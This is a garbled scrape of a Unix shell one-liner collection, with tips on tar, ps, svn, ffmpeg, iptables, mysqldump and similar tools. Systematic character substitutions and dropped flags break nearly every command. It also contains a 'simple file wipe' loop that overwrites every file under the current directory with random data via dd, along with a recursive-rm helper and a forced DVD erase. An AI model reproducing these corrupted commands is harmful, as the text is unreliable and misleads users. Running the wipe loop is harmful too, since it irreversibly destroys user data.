# 3ount the num%er o( characters in a strin& (rom the standard input2 echo n 8(oo8 4 *c c # 3onvert input to a line o( Puote protected 3S[ cat (ile 4 paste s dK 4 sed s/LE'L4$LG/8/&s/K/8+8/& # tar1p%>ip9 a dir tar e,clude=patternTo,clude usecompresspro&ram=p%>ip9 c( myarchive2tar2%>9 directoyTo\ip/ # Iind all processes runnin& under your username2 ps e( 4 &rep $@SR # Ho* to )no* i( your N<3 receive lin) *atch ethtool eth" # Iinds all o( the mailers %ein& used in your rails app e&rep r Erendermessa&e4multipartG2E_(ind app/vie*s name 2er% 4 &rep mailer 4 sed e s/L22// e s/2L/// 4 uniP 4 ,ar&s 4 sed s/ /4/&_G app/models # Tal) to the doctor Eli>ali)eG emacs -S31,. doctor # 3ommit current modi(ied or added (iles in current svn repository svn status 4 &rep v V 4 a*) print $9 . (ile2svn2t,t FF svn ci tar&ets (ile2svn2t,t m 8your commit messa&e hereB8 # 6o*nload all ima&es (rom a ?chan thread curl s http://%oards2?chan2or&/*&/4sed r s/2hre(=8E'8BG2/LLn/&4&rep ima&es4,ar&s *&et # Sort all (iles and directories %y si>e+ rounded to the nearest me&a%yte2 ESu%stitute custom path (or 2G du ms 4 sort nr # rase a re*rita%le 6[6 (rom commandline dvd1r*(ormat (orce /dev/dvd # disa%le
All UNIX COMMANDS # 6ump (iltered t*itter stream to a (ile curl s u $@SRNAM ^ OST d 8trac)=o%ama+%arac)8 https://stream2t*itter2com/2/statuses/(ilter2Dson o t*itterstream2out # ;et your e,ternal < address curl l92io/ip # Addin& user to printer+ a(ter installin& hplip E6e%ianG sudo adduser usernameB lp FF sudo adduser usernameB lpadmin FF sudo hpsetup i # Smart remove Removes (iles and directories smarter2 ut it in your X/2%ashpro(ile/X/2%ash srmEG i( d $ BB then rm R $ else rm $ (i # edit list o( (iles in last command vi _!!_ # Add the s%in directories to your ATH i( it doesnt already e,ist in \SH2 path1=E /s%in /usr/s%in /usr/local/s%in G path=E $EuGpath G # 3onvert 2(lv to 2avi ((mpe& i (ile2(lv (ile2avi # Iind the @SRid o( a S@6Oed user RA0@SR<6=_TTTST=$Eps 4 a*) print $9 4tail G ps e( 4&rep 8$TTTST$8 4a*) print $_echo $RA0@SR<6 # Simple (ile *ipe (or I in _(ind 2/ type (_do S<\=_ls s $I 4 a*) I8 8 print $_ dd i(=/dev/urandom o(=$I %s="9? count=$S<\done # Remove iU RM pac)a&es (rom ,? 3entOS/RH0 yum remove _rpm Pa P( 8Kn2KarchLn84&rep iU_
# 0ist only locally modi(ied (iles *ith 3[S cvs 5 status 4 perl ne print i( m/'Iile21Status: EV!@ptodateG/ 22 m/'=/ # 3reate a shell script (rom history o( commands history 4 a*) $=88 print $" . installp)&2sh # e,ec chmod to su%(iles (ind 2 type ( e,ec chmod a, L # 0ist tas)s runnin& tas)list # immediatly attach to previous tmu, session *hen connectin& throu&h ssh ssh t user7remotehost tmu, attach # di(( (iles i&norin& comments and %lan) lines Elines startin& *ith #G di(( u -E&rep v 'E#4$G (ileG -E&rep v 'E#4$G (ile9G #
All UNIX COMMANDS # use !$ to retrieve (ilename used *ith last command vim !$ # %ac)up mysPl data%ase " " " /usr/%in/mysPldump uroot p-pass*ord. data%asename . /home/%o%/^\6QQA3Y@/ $Edate 1LKLKmLKdLKHhLKMG2sPl # 3loac) an < ran&e (rom some <s via ipta%les ipta%les A IORJAR6 i %r" m ipran&e srcran&e W922"2,W922"2y m ipran&e dst ran&e W922"2*W922"2> D 6RO # Jatchin& directories *atch n 8ls p 4 &rep /$8 # RedVmarra&e apache dans u%untu /etc/init2d/apache9 restart # Qac)up a pendrive or dis) under *indo*s *ith dd dd2e,e pro&ress i(=LL2L[olume"%a"c%edac"a%ZU""U"?Zc"""" o(=pendrive2im& # 0ist *ireless clients connected to an access point *lancon(i& -*irelessdevice. list sta # Search ru%y(iles *ith nonascii character+ %ut *ithout encodin& directive &rep l include 2r% include 2ra)e ''#B'a>A\"W:punct:B:space:BB R 2 4 ,ar&s 0 a*) !/encodin&/ FF NR - 9 print I<0NAM # move all the 2%a) %ac)up copies to their ori&inal names Erename (iles %y strippin& the e,tensionG (or i in 2%a) do nuname=_echo $i 4 sed s/L2'L2B$//_ echo renamin& $i to $nunamemv $i $nuname done # displays comments (rom random Dpe& (iles2 (ind X/randomDpe&s/(older name 82Dp&8 e,ec rdDp&com L # ,tract multiple (ile in a directory (or i in 2tar2&> do tar ,>( $i done # put environment varia%le in history to edit print s 8ATH=$ATH8 # Trans(er sPliteU data to mysPl sPliteU myd%2sPliteU 2dump 4 &rep v 'EQ;
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All UNIX COMMANDS # starts a detached screen *ith name screen S nameB d m -command.B # Ii, S0inu, pro%lem *ith ost(i, on 3entos &rep post(i, /var/lo&/messa&es 4 audit9allo* M mypolicy #